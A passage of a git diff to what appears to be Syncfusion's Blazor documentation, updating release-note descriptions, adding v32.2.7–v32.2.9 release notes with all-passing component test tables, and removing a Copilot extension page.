+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.5, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.7.md b/blazor/Release-Notes/26.2.7.md
index d6f55b9a78..6897b59b64 100644
--- a/blazor/Release-Notes/26.2.7.md
+++ b/blazor/Release-Notes/26.2.7.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.7 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.7, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.8.md b/blazor/Release-Notes/26.2.8.md
index effbbb1c9c..9559e7ae28 100644
--- a/blazor/Release-Notes/26.2.8.md
+++ b/blazor/Release-Notes/26.2.8.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.8  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.8, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/26.2.9.md b/blazor/Release-Notes/26.2.9.md
index 5916cd0aba..09ddae238a 100644
--- a/blazor/Release-Notes/26.2.9.md
+++ b/blazor/Release-Notes/26.2.9.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v26.2.9  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v26.2.9, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.50.md b/blazor/Release-Notes/27.1.50.md
index 5ae44fd61a..f7b225f859 100644
--- a/blazor/Release-Notes/27.1.50.md
+++ b/blazor/Release-Notes/27.1.50.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.50  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.51.md b/blazor/Release-Notes/27.1.51.md
index fef7352337..ffd1beaec6 100644
--- a/blazor/Release-Notes/27.1.51.md
+++ b/blazor/Release-Notes/27.1.51.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.51 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.52.md b/blazor/Release-Notes/27.1.52.md
index 31a9051356..8f4f25ce88 100644
--- a/blazor/Release-Notes/27.1.52.md
+++ b/blazor/Release-Notes/27.1.52.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.52  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.53.md b/blazor/Release-Notes/27.1.53.md
index 0f9bd670c9..af4163462d 100644
--- a/blazor/Release-Notes/27.1.53.md
+++ b/blazor/Release-Notes/27.1.53.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.53  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.55.md b/blazor/Release-Notes/27.1.55.md
index 72f9d17be5..7d2bf7c053 100644
--- a/blazor/Release-Notes/27.1.55.md
+++ b/blazor/Release-Notes/27.1.55.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.55  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.56.md b/blazor/Release-Notes/27.1.56.md
index 9fc657214d..1a10f1a1af 100644
--- a/blazor/Release-Notes/27.1.56.md
+++ b/blazor/Release-Notes/27.1.56.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.56  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.57.md b/blazor/Release-Notes/27.1.57.md
index 0502d32471..6e9d9cbedc 100644
--- a/blazor/Release-Notes/27.1.57.md
+++ b/blazor/Release-Notes/27.1.57.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.57  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.1.58.md b/blazor/Release-Notes/27.1.58.md
index 2b3eaa4c05..35d8061330 100644
--- a/blazor/Release-Notes/27.1.58.md
+++ b/blazor/Release-Notes/27.1.58.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.1.58  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.1.58, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.2.3.md b/blazor/Release-Notes/27.2.3.md
index a582e9b81e..e47ff72dd4 100644
--- a/blazor/Release-Notes/27.2.3.md
+++ b/blazor/Release-Notes/27.2.3.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.2.3  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.2.3, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.2.4.md b/blazor/Release-Notes/27.2.4.md
index dffc20976d..079e11b303 100644
--- a/blazor/Release-Notes/27.2.4.md
+++ b/blazor/Release-Notes/27.2.4.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.2.4  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.2.4, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/27.2.5.md b/blazor/Release-Notes/27.2.5.md
index 698fd251ff..e51b231981 100644
--- a/blazor/Release-Notes/27.2.5.md
+++ b/blazor/Release-Notes/27.2.5.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v27.2.5  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v27.2.5, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.1.35.md b/blazor/Release-Notes/28.1.35.md
index 774190df86..1e6b584cd7 100644
--- a/blazor/Release-Notes/28.1.35.md
+++ b/blazor/Release-Notes/28.1.35.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.1.35  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.1.35, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.1.36.md b/blazor/Release-Notes/28.1.36.md
index 5d93e33072..d286f7c5c1 100644
--- a/blazor/Release-Notes/28.1.36.md
+++ b/blazor/Release-Notes/28.1.36.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.1.36  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.1.36, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.1.37.md b/blazor/Release-Notes/28.1.37.md
index 49b4b4c071..eddcd80629 100644
--- a/blazor/Release-Notes/28.1.37.md
+++ b/blazor/Release-Notes/28.1.37.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.1.37  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.1.37, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.1.38.md b/blazor/Release-Notes/28.1.38.md
index 027aae8019..e5cb188829 100644
--- a/blazor/Release-Notes/28.1.38.md
+++ b/blazor/Release-Notes/28.1.38.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.1.38  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.1.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.1.39.md b/blazor/Release-Notes/28.1.39.md
index aeff895ea0..b8a9f81a96 100644
--- a/blazor/Release-Notes/28.1.39.md
+++ b/blazor/Release-Notes/28.1.39.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.1.39  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.1.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.1.41.md b/blazor/Release-Notes/28.1.41.md
index c8ac281553..b91b7cd91a 100644
--- a/blazor/Release-Notes/28.1.41.md
+++ b/blazor/Release-Notes/28.1.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.1.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.1.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.2.4.md b/blazor/Release-Notes/28.2.4.md
index c18472327d..d3153d8d6c 100644
--- a/blazor/Release-Notes/28.2.4.md
+++ b/blazor/Release-Notes/28.2.4.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.2.4  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.2.4, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.2.5.md b/blazor/Release-Notes/28.2.5.md
index 0df90c4052..c23ec4069f 100644
--- a/blazor/Release-Notes/28.2.5.md
+++ b/blazor/Release-Notes/28.2.5.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.2.5  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.2.5, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/28.2.6.md b/blazor/Release-Notes/28.2.6.md
index 2ccb262e21..f18311067f 100644
--- a/blazor/Release-Notes/28.2.6.md
+++ b/blazor/Release-Notes/28.2.6.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v28.2.6  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v28.2.6, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/29.1.38.md b/blazor/Release-Notes/29.1.38.md
index 7e0b091a48..68e9d7ddba 100644
--- a/blazor/Release-Notes/29.1.38.md
+++ b/blazor/Release-Notes/29.1.38.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v29.1.38  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v29.1.38, including added features and key improvements
 platform: blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/29.1.39.md b/blazor/Release-Notes/29.1.39.md
index 952d67d180..0d568060bb 100644
--- a/blazor/Release-Notes/29.1.39.md
+++ b/blazor/Release-Notes/29.1.39.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v29.1.39  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v29.1.39, including added features and key improvements
 platform: blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/29.1.40.md b/blazor/Release-Notes/29.1.40.md
index 574569271f..83399eed5e 100644
--- a/blazor/Release-Notes/29.1.40.md
+++ b/blazor/Release-Notes/29.1.40.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v29.1.40  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v29.1.40, including added features and key improvements
 platform: blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/29.1.41.md b/blazor/Release-Notes/29.1.41.md
index d3b1e903e6..07343d66bf 100644
--- a/blazor/Release-Notes/29.1.41.md
+++ b/blazor/Release-Notes/29.1.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v29.1.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v29.1.41, including added features and key improvements
 platform: blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/32.2.7.md b/blazor/Release-Notes/32.2.7.md
new file mode 100644
index 0000000000..09cf64c355
--- /dev/null
+++ b/blazor/Release-Notes/32.2.7.md
@@ -0,0 +1,94 @@
+---
+title: Essential Studio for Blazor Release Notes - v32.2.7
+description: Learn here about the controls in the Essential Studio for Blazor Weekly Release - Release Notes - v32.2.7
+platform: blazor
+documentation: ug
+---
+
+# Essential Studio for Blazor - v32.2.7 Release Notes 
+
+{% include release-info.html date="February 24, 2026"  version="v32.2.7" passed="85132" failed="0" %}
+
+{% directory path: _includes/release-notes/v32.2.7 %}
+
+{% include {{file.url}} %}
+
+{% enddirectory %}
+
+## Test Results
+
+| Component Name | Test Cases | Passed | Failed | Remarks |
+|---------------|------------|--------|--------|---------|
+| 3DChart | 198 | 198 | 0 | All Passed |
+| Accordion | 232 | 232 | 0 | All Passed |
+| AiAssistView | 395 | 395 | 0 | All Passed |
+| Appbar | 102 | 102 | 0 | All Passed |
+| Autocomplete | 482 | 482 | 0 | All Passed |
+| BarcodeGenerator | 440 | 440 | 0 | All Passed |
+| Breadcrumb | 137 | 137 | 0 | All Passed |
+| Bulletchart | 237 | 237 | 0 | All Passed |
+| Button | 255 | 255 | 0 | All Passed |
+| Calendar | 148 | 148 | 0 | All Passed |
+| Carousel | 175 | 175 | 0 | All Passed |
+| Charts | 5688 | 5688 | 0 | All Passed |
+| ChatUI | 148 | 148 | 0 | All Passed |
+| Chips | 214 | 214 | 0 | All Passed |
+| CircularGauge | 1011 | 1011 | 0 | All Passed |
+| ColorPicker | 114 | 114 | 0 | All Passed |
+| ComboBox | 329 | 329 | 0 | All Passed |
+| DashboardLayout | 259 | 259 | 0 | All Passed |
+| DataForm | 547 | 547 | 0 | All Passed |
+| DataGrid | 9930 | 9930 | 0 | All Passed |
+| DatePicker | 580 | 580 | 0 | All Passed |
+| DateRangePicker | 366 | 366 | 0 | All Passed |
+| DateTimePicker | 475 | 475 | 0 | All Passed |
+| Diagram | 16459 | 16459 | 0 | All Passed |
+| Dialog | 485 | 485 | 0 | All Passed |
+| DropdownList | 638 | 638 | 0 | All Passed |
+| Dropdowntree | 164 | 164 | 0 | All Passed |
+| FileManager | 3109 | 3109 | 0 | All Passed |
+| FileUpload | 330 | 330 | 0 | All Passed |
+| FloatingActionButton | 128 | 128 | 0 | All Passed |
+| Gantt | 5430 | 5430 | 0 | All Passed |
+| HeatMap | 403 | 403 | 0 | All Passed |
+| ImageEditor | 3611 | 3611 | 0 | All Passed |
+| InPlaceEditor | 768 | 768 | 0 | All Passed |
+| InputMask | 168 | 168 | 0 | All Passed |
+| Kanban | 513 | 513 | 0 | All Passed |
+| LinearGauge | 797 | 797 | 0 | All Passed |
+| ListBox | 138 | 138 | 0 | All Passed |
+| ListView | 442 | 442 | 0 | All Passed |
+| Maps | 1581 | 1581 | 0 | All Passed |
+| Mention | 153 | 153 | 0 | All Passed |
+| Menu | 398 | 398 | 0 | All Passed |
+| Message | 211 | 211 | 0 | All Passed |
+| MultiselectDropdown | 501 | 501 | 0 | All Passed |
+| NumericTextbox | 464 | 464 | 0 | All Passed |
+| OtpInput | 123 | 123 | 0 | All Passed |
+| PivotTable | 1527 | 1527 | 0 | All Passed |
+| ProgressBar | 199 | 199 | 0 | All Passed |
+| progressbutton | 101 | 101 | 0 | All Passed |
+| QueryBuilder | 585 | 585 | 0 | All Passed |
+| RangeNavigator | 196 | 196 | 0 | All Passed |
+| Rating | 106 | 106 | 0 | All Passed |
+| Ribbon | 542 | 542 | 0 | All Passed |
+| RichTextEditor | 2422 | 2422 | 0 | All Passed |
+| Scheduler | 6372 | 6372 | 0 | All Passed |
+| Sidebar | 150 | 150 | 0 | All Passed |
+| Slider | 272 | 272 | 0 | All Passed |
+| SmithChart | 259 | 259 | 0 | All Passed |
+| SparklineChart | 150 | 150 | 0 | All Passed |
+| SpeedDial | 353 | 353 | 0 | All Passed |
+| Splitter | 190 | 190 | 0 | All Passed |
+| Stepper | 218 | 218 | 0 | All Passed |
+| StockChart | 350 | 350 | 0 | All Passed |
+| Tabs | 951 | 951 | 0 | All Passed |
+| TextArea | 126 | 126 | 0 | All Passed |
+| Textbox | 678 | 678 | 0 | All Passed |
+| Timeline | 182 | 182 | 0 | All Passed |
+| TimePicker | 420 | 420 | 0 | All Passed |
+| Toast | 234 | 234 | 0 | All Passed |
+| Toolbar | 235 | 235 | 0 | All Passed |
+| TreeGrid | 6705 | 6705 | 0 | All Passed |
+| TreeMap | 767 | 767 | 0 | All Passed |
+| TreeView | 1366 | 1366 | 0 | All Passed |
\ No newline at end of file
diff --git a/blazor/Release-Notes/32.2.8.md b/blazor/Release-Notes/32.2.8.md
new file mode 100644
index 0000000000..29365c2588
--- /dev/null
+++ b/blazor/Release-Notes/32.2.8.md
@@ -0,0 +1,94 @@
+---
+title: Essential Studio for Blazor Release Notes - v32.2.8
+description: Learn here about the controls in the Essential Studio for Blazor Weekly Release - Release Notes - v32.2.8
+platform: blazor
+documentation: ug
+---
+
+# Essential Studio for Blazor - v32.2.8 Release Notes 
+
+{% include release-info.html date="March 03, 2026"  version="v32.2.8" passed="85275" failed="0" %}
+
+{% directory path: _includes/release-notes/v32.2.8 %}
+
+{% include {{file.url}} %}
+
+{% enddirectory %}
+
+## Test Results
+
+| Component Name | Test Cases | Passed | Failed | Remarks |
+|---------------|------------|--------|--------|---------|
+| 3DChart | 198 | 198 | 0 | All Passed |
+| Accordion | 232 | 232 | 0 | All Passed |
+| AiAssistView | 395 | 395 | 0 | All Passed |
+| Appbar | 102 | 102 | 0 | All Passed |
+| Autocomplete | 484 | 484 | 0 | All Passed |
+| BarcodeGenerator | 440 | 440 | 0 | All Passed |
+| Breadcrumb | 137 | 137 | 0 | All Passed |
+| Bulletchart | 237 | 237 | 0 | All Passed |
+| Button | 255 | 255 | 0 | All Passed |
+| Calendar | 148 | 148 | 0 | All Passed |
+| Carousel | 175 | 175 | 0 | All Passed |
+| Charts | 5688 | 5688 | 0 | All Passed |
+| ChatUI | 148 | 148 | 0 | All Passed |
+| Chips | 214 | 214 | 0 | All Passed |
+| CircularGauge | 1011 | 1011 | 0 | All Passed |
+| ColorPicker | 114 | 114 | 0 | All Passed |
+| ComboBox | 332 | 332 | 0 | All Passed |
+| DashboardLayout | 259 | 259 | 0 | All Passed |
+| DataForm | 547 | 547 | 0 | All Passed |
+| DataGrid | 10055 | 10055 | 0 | All Passed |
+| DatePicker | 580 | 580 | 0 | All Passed |
+| DateRangePicker | 366 | 366 | 0 | All Passed |
+| DateTimePicker | 475 | 475 | 0 | All Passed |
+| Diagram | 16459 | 16459 | 0 | All Passed |
+| Dialog | 485 | 485 | 0 | All Passed |
+| DropdownList | 638 | 638 | 0 | All Passed |
+| Dropdowntree | 164 | 164 | 0 | All Passed |
+| FileManager | 3109 | 3109 | 0 | All Passed |
+| FileUpload | 330 | 330 | 0 | All Passed |
+| FloatingActionButton | 128 | 128 | 0 | All Passed |
+| Gantt | 5430 | 5430 | 0 | All Passed |
+| HeatMap | 403 | 403 | 0 | All Passed |
+| ImageEditor | 3610 | 3610 | 0 | All Passed |
+| InPlaceEditor | 768 | 768 | 0 | All Passed |
+| InputMask | 168 | 168 | 0 | All Passed |
+| Kanban | 513 | 513 | 0 | All Passed |
+| LinearGauge | 797 | 797 | 0 | All Passed |
+| ListBox | 138 | 138 | 0 | All Passed |
+| ListView | 442 | 442 | 0 | All Passed |
+| Maps | 1581 | 1581 | 0 | All Passed |
+| Mention | 153 | 153 | 0 | All Passed |
+| Menu | 398 | 398 | 0 | All Passed |
+| Message | 211 | 211 | 0 | All Passed |
+| MultiselectDropdown | 515 | 515 | 0 | All Passed |
+| NumericTextbox | 464 | 464 | 0 | All Passed |
+| OtpInput | 123 | 123 | 0 | All Passed |
+| PivotTable | 1527 | 1527 | 0 | All Passed |
+| ProgressBar | 199 | 199 | 0 | All Passed |
+| progressbutton | 101 | 101 | 0 | All Passed |
+| QueryBuilder | 585 | 585 | 0 | All Passed |
+| RangeNavigator | 196 | 196 | 0 | All Passed |
+| Rating | 106 | 106 | 0 | All Passed |
+| Ribbon | 542 | 542 | 0 | All Passed |
+| RichTextEditor | 2422 | 2422 | 0 | All Passed |
+| Scheduler | 6372 | 6372 | 0 | All Passed |
+| Sidebar | 150 | 150 | 0 | All Passed |
+| Slider | 272 | 272 | 0 | All Passed |
+| SmithChart | 259 | 259 | 0 | All Passed |
+| SparklineChart | 150 | 150 | 0 | All Passed |
+| SpeedDial | 353 | 353 | 0 | All Passed |
+| Splitter | 190 | 190 | 0 | All Passed |
+| Stepper | 218 | 218 | 0 | All Passed |
+| StockChart | 350 | 350 | 0 | All Passed |
+| Tabs | 951 | 951 | 0 | All Passed |
+| TextArea | 126 | 126 | 0 | All Passed |
+| Textbox | 678 | 678 | 0 | All Passed |
+| Timeline | 182 | 182 | 0 | All Passed |
+| TimePicker | 420 | 420 | 0 | All Passed |
+| Toast | 234 | 234 | 0 | All Passed |
+| Toolbar | 235 | 235 | 0 | All Passed |
+| TreeGrid | 6705 | 6705 | 0 | All Passed |
+| TreeMap | 767 | 767 | 0 | All Passed |
+| TreeView | 1366 | 1366 | 0 | All Passed |
\ No newline at end of file
diff --git a/blazor/Release-Notes/32.2.9.md b/blazor/Release-Notes/32.2.9.md
new file mode 100644
index 0000000000..43fd77c717
--- /dev/null
+++ b/blazor/Release-Notes/32.2.9.md
@@ -0,0 +1,94 @@
+---
+title: Essential Studio for Blazor Release Notes - v32.2.9
+description: Learn here about the controls in the Essential Studio for Blazor Weekly Release - Release Notes - v32.2.9
+platform: blazor
+documentation: ug
+---
+
+# Essential Studio for Blazor - v32.2.9 Release Notes 
+
+{% include release-info.html date="March 10, 2026"  version="v32.2.9" passed="86850" failed="0" %}
+
+{% directory path: _includes/release-notes/v32.2.9 %}
+
+{% include {{file.url}} %}
+
+{% enddirectory %}
+
+## Test Results
+
+| Component Name | Test Cases | Passed | Failed | Remarks |
+|---------------|------------|--------|--------|---------|
+| 3DChart | 198 | 198 | 0 | All Passed |
+| Accordion | 232 | 232 | 0 | All Passed |
+| AiAssistView | 395 | 395 | 0 | All Passed |
+| Appbar | 102 | 102 | 0 | All Passed |
+| Autocomplete | 484 | 484 | 0 | All Passed |
+| BarcodeGenerator | 440 | 440 | 0 | All Passed |
+| Breadcrumb | 137 | 137 | 0 | All Passed |
+| Bulletchart | 237 | 237 | 0 | All Passed |
+| Button | 255 | 255 | 0 | All Passed |
+| Calendar | 148 | 148 | 0 | All Passed |
+| Carousel | 175 | 175 | 0 | All Passed |
+| Charts | 7191 | 7191 | 0 | All Passed |
+| ChatUI | 148 | 148 | 0 | All Passed |
+| Chips | 214 | 214 | 0 | All Passed |
+| CircularGauge | 1011 | 1011 | 0 | All Passed |
+| ColorPicker | 114 | 114 | 0 | All Passed |
+| ComboBox | 332 | 332 | 0 | All Passed |
+| DashboardLayout | 259 | 259 | 0 | All Passed |
+| DataForm | 547 | 547 | 0 | All Passed |
+| DataGrid | 10055 | 10055 | 0 | All Passed |
+| DatePicker | 580 | 580 | 0 | All Passed |
+| DateRangePicker | 366 | 366 | 0 | All Passed |
+| DateTimePicker | 475 | 475 | 0 | All Passed |
+| Diagram | 16527 | 16527 | 0 | All Passed |
+| Dialog | 485 | 485 | 0 | All Passed |
+| DropdownList | 638 | 638 | 0 | All Passed |
+| Dropdowntree | 164 | 164 | 0 | All Passed |
+| FileManager | 3109 | 3109 | 0 | All Passed |
+| FileUpload | 330 | 330 | 0 | All Passed |
+| FloatingActionButton | 128 | 128 | 0 | All Passed |
+| Gantt | 5434 | 5434 | 0 | All Passed |
+| HeatMap | 403 | 403 | 0 | All Passed |
+| ImageEditor | 3610 | 3610 | 0 | All Passed |
+| InPlaceEditor | 768 | 768 | 0 | All Passed |
+| InputMask | 168 | 168 | 0 | All Passed |
+| Kanban | 513 | 513 | 0 | All Passed |
+| LinearGauge | 797 | 797 | 0 | All Passed |
+| ListBox | 138 | 138 | 0 | All Passed |
+| ListView | 442 | 442 | 0 | All Passed |
+| Maps | 1581 | 1581 | 0 | All Passed |
+| Mention | 153 | 153 | 0 | All Passed |
+| Menu | 398 | 398 | 0 | All Passed |
+| Message | 211 | 211 | 0 | All Passed |
+| MultiselectDropdown | 515 | 515 | 0 | All Passed |
+| NumericTextbox | 464 | 464 | 0 | All Passed |
+| OtpInput | 123 | 123 | 0 | All Passed |
+| PivotTable | 1527 | 1527 | 0 | All Passed |
+| ProgressBar | 199 | 199 | 0 | All Passed |
+| progressbutton | 101 | 101 | 0 | All Passed |
+| QueryBuilder | 585 | 585 | 0 | All Passed |
+| RangeNavigator | 196 | 196 | 0 | All Passed |
+| Rating | 106 | 106 | 0 | All Passed |
+| Ribbon | 542 | 542 | 0 | All Passed |
+| RichTextEditor | 2422 | 2422 | 0 | All Passed |
+| Scheduler | 6372 | 6372 | 0 | All Passed |
+| Sidebar | 150 | 150 | 0 | All Passed |
+| Slider | 272 | 272 | 0 | All Passed |
+| SmithChart | 259 | 259 | 0 | All Passed |
+| SparklineChart | 150 | 150 | 0 | All Passed |
+| SpeedDial | 353 | 353 | 0 | All Passed |
+| Splitter | 190 | 190 | 0 | All Passed |
+| Stepper | 218 | 218 | 0 | All Passed |
+| StockChart | 350 | 350 | 0 | All Passed |
+| Tabs | 951 | 951 | 0 | All Passed |
+| TextArea | 126 | 126 | 0 | All Passed |
+| Textbox | 678 | 678 | 0 | All Passed |
+| Timeline | 182 | 182 | 0 | All Passed |
+| TimePicker | 420 | 420 | 0 | All Passed |
+| Toast | 234 | 234 | 0 | All Passed |
+| Toolbar | 235 | 235 | 0 | All Passed |
+| TreeGrid | 6705 | 6705 | 0 | All Passed |
+| TreeMap | 767 | 767 | 0 | All Passed |
+| TreeView | 1366 | 1366 | 0 | All Passed |
\ No newline at end of file
diff --git a/blazor/ai-coding-assistant/copilot-extension.md b/blazor/ai-coding-assistant/copilot-extension.md
deleted file mode 100644
index 1f04088e45..0000000000
--- a/blazor/ai-coding-assistant/copilot-extension.md
+++ /dev/null
@@ -1,99 +0,0 @@
----
-layout: post
-title: SyncfusionBlazor GitHub Copilot Extension | Syncfusion
-description: Learn how the SyncfusionBlazor GitHub Copilot extension enhances your Blazor development with intelligent code suggestions, best practices, contextual guidance.
-control: Getting started with SyncfusionBlazor copilot extension
-platform: Blazor
-documentation: ug
----
-
-# SyncfusionBlazor GitHub Copilot Extension
-
-## Overview
-
-The [SyncfusionBlazor GitHub Copilot Extension](https://github.com/apps/syncfusionblazor) provides intelligent assistance for developers using Syncfusion's Blazor component libraries. This extension seamlessly integrates with GitHub Copilot to enhance your development workflow.
-
-### What is a GitHub Copilot Extension?
-
-A GitHub Copilot extension enhances Copilot's capabilities by integrating specialized, third-party tools and knowledge directly into the chat interface. It allows Copilot to access specific data, APIs, and services—such as a component vendor's official documentation—to provide more accurate, context-aware, and relevant assistance for a developer's specific technology stack.
-
-### Key Benefits
-
-*	Smart code suggestions for Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components.
-*	Best practice guidance for component usage and configuration.
